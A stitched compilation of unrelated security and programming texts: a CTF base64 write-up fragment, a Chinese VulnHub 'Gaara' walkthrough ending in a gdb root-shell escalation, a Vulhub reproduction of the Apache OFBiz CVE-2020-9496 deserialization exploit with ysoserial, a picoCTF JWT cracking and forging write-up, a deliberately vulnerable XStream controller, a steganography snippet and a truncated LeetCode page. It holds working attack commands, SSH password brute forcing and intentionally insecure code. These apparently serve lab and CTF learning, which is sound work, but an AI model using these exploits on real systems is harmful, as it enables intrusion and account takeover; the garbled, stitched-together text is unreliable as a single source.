range(len(dictionary)): base64inv[dictionary[i]] = i s = s.replace("\n", "") if not re.match(r"^([{alphabet}]{{4}})*([{alphabet}]{{3}}=|[{alphabet}]{{2}}==)?$".format(alphabet = dictionary), s): raise ValueError("Invalid input: {}".format(s)) if len(s) == 0: return "" # replace any incoming padding with a zero pad (the 'A' character is zero) p = "" if (s[-1] != "=") else "AA" if (len(s) > 1 and s[-2] == "=") else "A" r = "" s = s[0:len(s) - len(p)] + p # increment over the length of this encoded string, four characters at a time for c in range(0, len(s), 4): # each of these four characters represents a 6-bit index in the base64 characters list # which, when concatenated, will give the 24-bit number for the original 3 characters n = (base64inv[s[c]] << 18) + (base64inv[s[c+1]] << 12) + (base64inv[s[c+2]] << 6) + base64inv[s[c+3]] # split the 24-bit number into the original three 8-bit (ASCII) characters r += chr((n >> 16) & 255) + chr((n >> 8) & 255) + chr(n & 255) # remove any zero pad that was added to make this a multiple of 24 bits return r[0:len(r) - len(p)] def test_base64(): import base64 import string import random dictionary = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" def random_string(length): return ''.join(random.choice(string.ascii_letters) for m in range(length)) for i in range(100): s = random_string(i) encoded = base64_encode(s, dictionary) assert(encoded == base64.b64encode(s)) assert(s == base64_decode(encoded, dictionary)) if __name__ == "__main__": #test_base64() dictionary = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m1234567890" print(base64_decode("ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=", dictionary), end='') ``` The output: ```console root@kali:/media/sf_CTFs/mitre/rebase# python3 my_base64.py MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33z root@kali:/media/sf_CTFs/mitre/rebase# python3 my_base64.py | xxd -g 1 00000000: 4d 43 41 7b 54 68 31 35 5f 77 55 7a 5f 45 61 5a MCA{Th15_wUz_EaZ 00000010: 79 5f 50 65 40 5a 79 5f 4c 33 6d 30 6e 5f 53 71 y_Pe@Zy_L3m0n_Sq 00000020: 55 33 33 7a 1e 9f U33z.. ``` Looks like the algorithm is producing two non-ASCII characters at the end of the string: `0x1e` and `0x9f`. What will the program tell us if we enter this result as input? ``` root@kali:/media/sf_CTFs/mitre/rebase# ./REBase-fix $(python3 my_base64.py) 39 ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5IlAy ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Try Again :( ``` Almost there, but not quite... We know that the flag should end with "}", let's try guessing some options: ```console root@kali:/media/sf_CTFs/mitre/rebase# ./REBase-fix MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33za} 38 ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Congratulations! root@kali:/media/sf_CTFs/mitre/rebase# ./REBase-fix MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33zb} 38 ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Congratulations! root@kali:/media/sf_CTFs/mitre/rebase# ./REBase-fix MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33ze} 38 ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Congratulations! root@kali:/media/sf_CTFs/mitre/rebase# ./REBase-fix MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33zy} 38 ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Congratulations! root@kali:/media/sf_CTFs/mitre/rebase# ./REBase-fix MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33zy{ 38 ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih6= ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Try Again :( ``` Looks like anything we input as the last letter of the flag contents is accepted, as long as the last character is `}`. The output produced for these trials is identical, and matches the expected output of the program. This actually looks to me like a bug in the program, and is definitely not base64-compliant (no two strings should map to the same encoded value). The server accepted only `{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33zy}` as the flag, which was easy to guess from the prefix.
sec-knowleage
# Gaara > https://download.vulnhub.com/gaara/Gaara.ova 靶场IP:`192.168.2.6` 扫描对外端口服务 ``` ┌──(root㉿kali)-[/tmp] └─# nmap -p1-65535 -sV 192.168.2.6 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 09:26 EDT Nmap scan report for 192.168.2.6 Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 08:00:27:86:6F:1F (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.87 seconds ``` 浏览器访问 ![image-20220904212823485](../../.gitbook/assets/image-20220904212823485.png) 爆破web目录,发现`/Cryoserver `目录 ``` ┌──(root㉿kali)-[/tmp] └─# gobuster dir -u http://192.168.2.6/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.6/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/09/04 09:31:55 Starting gobuster in directory enumeration mode =============================================================== /server-status (Status: 403) [Size: 276] /Cryoserver (Status: 200) [Size: 327] =============================================================== 2022/09/04 09:32:21 Finished =============================================================== ``` 拖到最下面有三个目录 ``` /Temari /Kazekage /iamGaara ``` ![image-20220904213911398](../../.gitbook/assets/image-20220904213911398.png) 访问`/iamGaara` ![image-20220904214017563](../../.gitbook/assets/image-20220904214017563.png) 使用hydra爆破密码 ``` ┌──(root㉿kali)-[~/Desktop] └─# hydra -l gaara -P /usr/share/wordlists/rockyou.txt 192.168.2.6 ssh Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-04 09:41:02 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.2.6:22/ [STATUS] 120.00 tries/min, 120 tries in 00:01h, 14344282 to do in 1992:16h, 13 active [22][ssh] host: 192.168.2.6 login: gaara password: iloveyou2 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 4 final worker threads did not complete until end. [ERROR] 4 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-04 09:43:25 ``` ssh登录 ![image-20220904214441473](../../.gitbook/assets/image-20220904214441473.png) 根据提示,找到`/usr/local/games`目录 ![image-20220904214559719](../../.gitbook/assets/image-20220904214559719.png) 发现一个加密字符串文件 ``` gaara@Gaara:/usr/local/games$ cat .supersecret.txt Godaime Kazekage: +++++ +++[- >++++ ++++< ]>+++ +.<++ ++++[ ->+++ +++<] >+.-- ---.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ ++[-> +++++ ++++< ]>+++ +++++ .<+++ [->-- -<]>- .++++ ++.<+ +++++ +++[- >---- ----- <]>-- --.<+ +++++ +++[- >++++ +++++ <]>+. <+++[ ->--- <]>-- --.-- --.<+ ++[-> +++<] >++.. <+++[ ->+++ <]>++ ++.<+ +++++ +++[- >---- ----- <]>-- ----- -.<++ +++++ ++[-> +++++ ++++< ]>+++ .<+++ [->-- -<]>- --.+. +++++ .---. <++++ ++++[ ->--- ----- <]>-- ----- ----. <++++ +++++ [->++ +++++ ++<]> +++++ +++.< +++[- >---< ]>-.+ +++++ .<+++ +++++ +[->- ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ ++.<+ ++[-> +++<] >+++. +++++ +.--- ----- -.--- ----- .<+++ +++++ [->-- ----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[- >---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ ++[-> +++++ ++++< ]>++. ----. --.-- ----- -.<++ +[->+ ++<]> +++++ +.<++ +[->- --<]> ---.+ .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- ----- .<+++ +++++ +[->+ +++++ +++<] >+++. <+++[ ->--- <]>-- -.--- ----. <++++ [->++ ++<]> +++.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ ++[-> +++++ +++<] >++++ +.--- -.<++ ++[-> ++++< ]>++. <+++[ ->--- <]>-. +++.< +++[- >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-- ----- --.<+ ++++[ ->--- --<]> ----- -.<++ +++++ [->++ +++++ <]>++ +.<++ +++[- >++++ +<]>+ ++++. +++++ ++.<+ +++++ +++[- >---- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >++++ .<+++ ++[-> +++++ <]>.< ++++[ ->+++ +<]>+ .<+++ [->-- -<]>- ----. +.<++ +[->+ ++<]> ++++. <++++ +++++ [->-- ----- --<]> .< ``` 使用**Brainfuck**解密发现,这是一个假的 ![image-20220904214810981](../../.gitbook/assets/image-20220904214810981.png) 使用LinPEAS扫描,发现gdb可用. ![image-20220904215228385](../../.gitbook/assets/image-20220904215228385.png) 使用gdb进行提权 ``` gaara@Gaara:/tmp$ gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit GNU gdb (Debian 8.2.1-2+b3) 8.2.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". # whoami root # ls /root root.txt # cat /root/root.txt ██████╗ █████╗ █████╗ ██████╗ █████╗ ██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗ ██║ ███╗███████║███████║██████╔╝███████║ ██║ ██║██╔══██║██╔══██║██╔══██╗██╔══██║ ╚██████╔╝██║ ██║██║ ██║██║ ██║██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ 8a763d61f71db8e7aa237055de928d86 Congrats You have Rooted Gaara. Give the feedback on Twitter if you Root this : @0xJin ```
sec-knowleage
import wave import binascii res = '' f = wave.open('S3cr3tM3ss4g3.wav','rb') for frame in f.readframes(f.getnframes()): res += str(ord(frame) & 0x1) print binascii.unhexlify(format(int(res, 2), 'x'))
sec-knowleage
# Apache OfBiz 反序列化命令执行漏洞(CVE-2020-9496) Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。 其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。 参考链接: - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz - https://github.com/dwisiswant0/CVE-2020-9496 - https://www.cnblogs.com/ph4nt0mer/p/13576739.html ## 漏洞环境 执行如下命令启动一个Apache OfBiz 17.12.01版本: ``` docker compose up -d ``` 在等待数分钟后,访问`https://your-ip/myportal/control/main`查看到登录页面,说明环境已启动成功。 ## 漏洞复现 由于默认情况下没有报错信息,所以使用[参考连接2](https://github.com/dwisiswant0/CVE-2020-9496)中给出的方法无法正确判断漏洞是否存在,还是需要通过执行反序列化来复现漏洞。 使用[ysoserial](https://github.com/frohoff/ysoserial)的CommonsBeanutils1来生成Payload: ``` java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n" ``` ![](1.png) 将base64后的payload替换并发送如下数据包: ``` POST /webtools/control/xmlrpc HTTP/1.1 Host: your-ip Content-Type: application/xml Content-Length: 4093 <?xml version="1.0"?> <methodCall> <methodName>ProjectDiscovery</methodName> <params> <param> <value> <struct> <member> <name>test</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable> </value> </member> </struct> </value> </param> </params> </methodCall> ``` ![](2.png) 进入容器中,可见`touch /tmp/success`已成功执行: ![](3.png)
sec-knowleage
# JaWT Scratchpad Web Exploitation, 400 points ## Description: > Check the admin scratchpad! ## Solution: Let's connect to the provided website: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl https://2019shell1.picoctf.com/problem/37903/ <!doctype html> <html> <title> JaWT - an online scratchpad </title> <link rel="stylesheet" href="/static/css/stylesheet.css"> <body> <header><h1>JaWT</h1> <br> <i><small>powered by <a href="https://jwt.io/">JWT</a></small></i></header> <div id="main"> <article> <h1>Welcome to JaWT!</h1> <p> JaWT is an online scratchpad, where you can "jot" down whatever you'd like! Consider it a notebook for your thoughts. <b style="color:blue "> JaWT works best in Google Chrome for some reason. </b> </p> <p> You will need to log in to access the JaWT scratchpad. You can use any name, other than <code>admin</code>... because the <code>admin</code> user gets a special scratchpad! </p> <br> <form action="#" method="POST"> <input type="text" name="user" id="name"> </form> <br> <h2> Register with your name! </h2> <p> You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>! </p> </article> <nav></nav> <aside></aside> </div> <script> window.onload = function() { document.getElementById("name").focus(); }; </script> </body> </html> ``` If we try to login as `admin`, we get an error: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl "https://2019shell1.picoctf.com/problem/37903/" -H "Content-Type: application/x-www-form-urlencoded" --data "user=admin" ... <p style="color:red"> YOU CANNOT LOGIN AS THE ADMIN! HE IS SPECIAL AND YOU ARE NOT. </p> ... ``` However, logging in as another user is allowed: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl "https://2019shell1.picoctf.com/problem/37903/" -H "Content-Type: application/x-www-form-urlencoded" --data "user=john" -v * Trying 3.15.247.173... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x558ed4e47d10) * Connected to 2019shell1.picoctf.com (3.15.247.173) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: OU=Domain Control Validated; OU=PositiveSSL Wildcard; CN=*.picoctf.com * start date: Oct 26 00:00:00 2018 GMT * expire date: Nov 1 23:59:59 2020 GMT * subjectAltName: host "2019shell1.picoctf.com" matched cert's "*.picoctf.com" * issuer: C=GB; ST=Greater Manchester; L=Salford; O=COMODO CA Limited; CN=COMODO RSA Domain Validation Secure Server CA * SSL certificate verify ok. > POST /problem/37903/ HTTP/1.1 > Host: 2019shell1.picoctf.com > User-Agent: curl/7.64.0 > Accept: */* > Content-Type: application/x-www-form-urlencoded > Content-Length: 9 > * upload completely sent off: 9 out of 9 bytes < HTTP/1.1 302 FOUND < Server: nginx < Date: Sun, 13 Oct 2019 11:28:56 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 209 < Connection: keep-alive < Location: https://2019shell1.picoctf.com/ < Set-Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9._fAF3H23ckP4QtF1Po3epuZWxmbwpI8Q26hRPDTh32Y; Path=/ < Strict-Transport-Security: max-age=0 < <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> * Connection #0 to host 2019shell1.picoctf.com left intact <p>You should be redirected automatically to target URL: <a href="/">/</a>. If not click the link. ``` Notice the cookie we receive upon a successful login: ``` < Set-Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9._fAF3H23ckP4QtF1Po3epuZWxmbwpI8Q26hRPDTh32Y; Path=/ ``` "JWT" stands for "[JSON Web Token](https://en.wikipedia.org/wiki/JSON_Web_Token)": > JSON Web Token (JWT) is an Internet standard for creating JSON-based access tokens that assert some number of claims. For example, a server could generate a token that has the claim "logged in as admin" and provide that to a client. The client could then use that token to prove that it is logged in as admin. The tokens are signed by one party's private key (usually the server's), so that both parties (the other already being, by some suitable and trustworthy means, in possession of the corresponding public key) are able to verify that the token is legitimate. We can decode the token using an [online tool](https://jwt.io/) or via the CyberChef API: ``` root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# export NODE_PATH=$(npm root --quiet -g) root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# node > const chef = require("cyberchef"); undefined > chef.JWTDecode("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9._fAF3H23ckP4QtF1Po3epuZWxmbwpI8Q26hRPDTh32Y"); { "user": "john" } > ``` We can change the user to "admin", but we'll need to sign the token and we don't have the key. That's where "JohnTheRipper" (referenced in the website itself) comes in. [This post](https://security.stackexchange.com/questions/134200/cracking-a-jwt-signature) explains how to brute force JWT using JohnTheRipper. First, we need to convert the token to a format that JohnTheRipper can understand, using the following script: ```python # https://security.stackexchange.com/questions/134200/cracking-a-jwt-signature # https://github.com/Sjord/jwtcrack/blob/master/jwt2john.py import sys from jwt.utils import base64url_decode from binascii import hexlify def jwt2john(jwt): """ Convert signature from base64 to hex, and separate it from the data by a # so that John can parse it. """ jwt_bytes = jwt.encode('ascii') parts = jwt_bytes.split(b'.') data = parts[0] + b'.' + parts[1] signature = hexlify(base64url_decode(parts[2])) return (data + b'#' + signature).decode('ascii') if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: %s JWT" % sys.argv[0]) else: john = jwt2john(sys.argv[1]) print(john) ``` Running it: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9ob iJ9._fAF3H23ckP4QtF1Po3epuZWxmbwpI8Q26hRPDTh32Y > jwt.john root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# cat jwt.john eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9#fdf005dc7db77243f842d1753e8ddea6e656c666f0a48f10dba8513c34e1df66 ``` Now we run `john` to try and locate the key (we'll use a dictionary attack): ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# ~/utils/john/run/john jwt.john --wordlist=/root/utils/dictionaries/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Warning: OpenMP is disabled; a non-OpenMP build may be faster Press 'q' or Ctrl-C to abort, almost any other key for status ilovepico (?) 1g 0:00:00:05 DONE (2019-10-13 14:44) 0.1996g/s 1476Kp/s 1476Kc/s 1476KC/s ilovepinkxxx..ilovepatopollo Use the "--show" option to display all of the cracked passwords reliably Session completed ``` We modify the user to "admin" and resign with the key (`ilovepico`): ``` > jwt = { "user": "admin" }; { user: 'admin' } > chef.JWTSign(jwt, ["ilovepico", "HS256"]); eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1NzA5Njg2NDB9.77pnOGlEdwL7MtxHHS6ZKYD5z1O8w_-SFnzPGyNo9t8 ``` We resend the request to the website and receive the flag: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl "https://2019shell1.picoctf.com/problem/37903/#" -H "Content-Type: application/x-www-form-urlencoded" --data "user=admin" -H "Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1NzA5Njg2NDB9.77pnOGlEdwL7MtxHHS6ZKYD5z1O8w_-SFnzPGyNo9t8" -s | grep pico <textarea style="margin: 0 auto; display: block;">picoCTF{jawt_was_just_what_you_thought_9ed4519dee8140de7a186a5df5a08d6e}</textarea> ```
sec-knowleage
package org.vulhub.xstreamsample; import com.thoughtworks.xstream.XStream; import org.springframework.web.bind.annotation.*; @RestController public class HelloController { @GetMapping(value = "/") public String hello() { return "hello, input your information please."; } @PostMapping(value = "/") public String read(@RequestBody String data) { XStream xs = new XStream(); xs.processAnnotations(User.class); User user = (User) xs.fromXML(data); return "My name is " + user.getName() + ", I am " + user.getAge().toString() + " years old."; } }
sec-knowleage
# 云靶场搭建 在进行靶场搭建的时候,主要需要考虑的是以下几个问题: - 网络状况 - 主机性能 - 靶场本身安全性 - 可运营程度 对于个人或者资源有限的安全部门来说,他们的优势是: - 自由度更高,“穷则思变”,相对来说对建设靶场的各种要求与“政策”相对宽松 - 个人主机性能较好 他们的短处是: - 云主机缺少,或者其性能较差 - 人力资源却少,专门的运维、运营人员少
sec-knowleage
# Leetcode 题解 - 数组与矩阵 <!-- GFM-TOC --> * [Leetcode 题解 - 数组与矩阵](#leetcode-题解---数组与矩阵) * [1. 把数组中的 0 移到末尾](#1-把数组中的-0-移到末尾) * [2. 改变矩阵维度](#2-改变矩阵维度) * [3. 找出数组中最长的连续 1](#3-找出数组中最长的连续-1) * [4. 有序矩阵查找](#4-有序矩阵查找) * [5. 有序矩阵的 Kth Element](#5-有序矩阵的-kth-element) * [6. 一个数组元素在 [1, n] 之间,其中一个数被替换为另一个数,找出重复的数和丢失的数](#6-一个数组元素在-[1-n]-之间,其中一个数被替换为另一个数,找出重复的数和丢失的数) * [7. 找出数组中重复的数,数组值在 [1, n] 之间](#7-找出数组中重复的数,数组值在-[1-n]-之间) * [8. 数组相邻差值的个数](#8-数组相邻差值的个数) * [9. 数组的度](#9-数组的度) * [10. 对角元素相等的矩阵](#10-对角元素相等的矩阵) * [11. 嵌套数组](#11-嵌套数组) * [12. 分隔数组](#12-分隔数组) <!-- GFM-TOC --> ## 1. 把数组中的 0 移到末尾 283\. Move Zeroes (Easy) [Leetcode](https://leetcode.com/problems/move-zeroes/description/) / [力扣](https://leetcode-cn.com/problems/move-zeroes/description/) ```html For example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0]. ``` ```java public void moveZeroes(int[] nums) { int idx = 0; for (int num : nums) { if (num != 0) { nums[idx++] = num; } } while (idx < nums.length) { nums[idx++] = 0; } } ``` ## 2. 改变矩阵维度 566\. Reshape the Matrix (Easy) [Leetcode](https://leetcode.com/problems/reshape-the-matrix/description/) / [力扣](https://leetcode-cn.com/problems/reshape-the-matrix/description/) ```html Input: nums = [[1,2], [3,4]] r = 1, c = 4 Output: [[1,2,3,4]] Explanation: The row-traversing of nums is [1,2,3,4]. The new reshaped matrix is a 1 * 4 matrix, fill it row by row by using the previous list. ``` ```java public int[][] matrixReshape(int[][] nums, int r, int c) { int m = nums.length, n = nums[0].length; if (m * n != r * c) { return nums; } int[][] reshapedNums = new int[r][c]; int index = 0; for (int i = 0; i < r; i++) { for (int j = 0; j < c; j++) { reshapedNums[i][j] = nums[index / n][index % n]; index++; } } return reshapedNums; } ``` ## 3. 找出数组中最长的连续 1 485\. Max Consecutive Ones (Easy) [Leetcode](https://leetcode.com/problems/max-consecutive-ones/description/) / [力扣](https://leetcode-cn.com/problems/max-consecutive-ones/description/) ```java public int findMaxConsecutiveOnes(int[] nums) { int max = 0, cur = 0; for (int x : nums) { cur = x == 0 ? 0 : cur + 1; max = Math.max(max, cur); } return max; } ``` ## 4. 有序矩阵查找 240\. Search a 2D Matrix II (Medium) [Leetcode](https://leetcode.com/problems/search-a-2d-matrix-ii/description/) / [力扣](https://leetcode-cn.com/problems/search-a-2d-matrix-ii/description/) ```html [ [ 1, 5, 9], [10, 11, 13], [12, 13, 15] ] ``` ```java public boolean searchMatrix(int[][] matrix, int target) { if (matrix == null || matrix.length == 0 || matrix[0].length == 0) return false; int m = matrix.length, n = matrix[0].length; int row = 0, col = n - 1; while (row < m && col >= 0) { if (target == matrix[row][col]) return true; else if (target < matrix[row][col]) col--; else row++; } return false; } ``` ## 5. 有序矩阵的 Kth Element 378\. Kth Smallest Element in a Sorted Matrix ((Medium)) [Leetcode](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/description/) / [力扣](https://leetcode-cn.com/problems/kth-smallest-element-in-a-sorted-matrix/description/) ```html matrix = [ [ 1, 5, 9], [10, 11, 13], [12, 13, 15] ], k = 8, return 13. ``` 解题参考:[Share my thoughts and Clean Java Code](https://leetcode-cn.com/problems/kth-smallest-element-in-a-sorted-matrix/discuss/85173) 二分查找解法: ```java public int kthSmallest(int[][] matrix, int k) { int m = matrix.length, n = matrix[0].length; int lo = matrix[0][0], hi = matrix[m - 1][n - 1]; while (lo <= hi) { int mid = lo + (hi - lo) / 2; int cnt = 0; for (int i = 0; i < m; i++) { for (int j = 0; j < n && matrix[i][j] <= mid; j++) { cnt++; } } if (cnt < k) lo = mid + 1; else hi = mid - 1; } return lo; } ``` 堆解法: ```java public int kthSmallest(int[][] matrix, int k) { int m = matrix.length, n = matrix[0].length; PriorityQueue<Tuple> pq = new PriorityQueue<Tuple>(); for(int j = 0; j < n; j++) pq.offer(new Tuple(0, j, matrix[0][j])); for(int i = 0; i < k - 1; i++) { // 小根堆,去掉 k - 1 个堆顶元素,此时堆顶元素就是第 k 的数 Tuple t = pq.poll(); if(t.x == m - 1) continue; pq.offer(new Tuple(t.x + 1, t.y, matrix[t.x + 1][t.y])); } return pq.poll().val; } class Tuple implements Comparable<Tuple> { int x, y, val; public Tuple(int x, int y, int val) { this.x = x; this.y = y; this.val = val; } @Override public int compareTo(Tuple that) { return this.val - that.val; } } ``` ## 6. 一个数组元素在 [1, n] 之间,其中一个数被替换为另一个数,找出重复的数和丢失的数 645\. Set Mismatch (Easy) [Leetcode](https://leetcode.com/problems/set-mismatch/description/) / [力扣](https://leetcode-cn.com/problems/set-mismatch/description/) ```html Input: nums = [1,2,2,4] Output: [2,3] ``` ```html Input: nums = [1,2,2,4] Output: [2,3] ``` 最直接的方法是先对数组进行排序,这种方法时间复杂度为 O(NlogN)。本题可以以 O(N) 的时间复杂度、O(1) 空间复杂度来求解。 主要思想是通过交换数组元素,使得数组上的元素在正确的位置上。 ```java public int[] findErrorNums(int[] nums) { for (int i = 0; i < nums.length; i++) { while (nums[i] != i + 1 && nums[nums[i] - 1] != nums[i]) { swap(nums, i, nums[i] - 1); } } for (int i = 0; i < nums.length; i++) { if (nums[i] != i + 1) { return new int[]{nums[i], i + 1}; } } return null; } private void swap(int[] nums, int i, int j) { int tmp = nums[i]; nums[i] = nums[j]; nums[j] = tmp; } ``` ## 7. 找出数组中重复的数,数组值在 [1, n] 之间 287\. Find the Duplicate Number (Medium) [Leetcode](https://leetcode.com/problems/find-the-duplicate-number/description/) / [力扣](https://leetcode-cn.com/problems/find-the-duplicate-number/description/) 要求不能修改数组,也不能使用额外的空间。 二分查找解法: ```java public int findDuplicate(int[] nums) { int l = 1, h = nums.length - 1; while (l <= h) { int mid = l + (h - l) / 2; int cnt = 0; for (int i = 0; i < nums.length; i++) { if (nums[i] <= mid) cnt++; } if (cnt > mid) h = mid - 1; else l = mid + 1; } return l; } ``` 双指针解法,类似于有环链表中找出环的入口: ```java public int findDuplicate(int[] nums) { int slow = nums[0], fast = nums[nums[0]]; while (slow != fast) { slow = nums[slow]; fast = nums[nums[fast]]; } fast = 0; while (slow != fast) { slow = nums[slow]; fast = nums[fast]; } return slow; } ``` ## 8. 数组相邻差值的个数 667\. Beautiful Arrangement II (Medium) [Leetcode](https://leetcode.com/problems/beautiful-arrangement-ii/description/) / 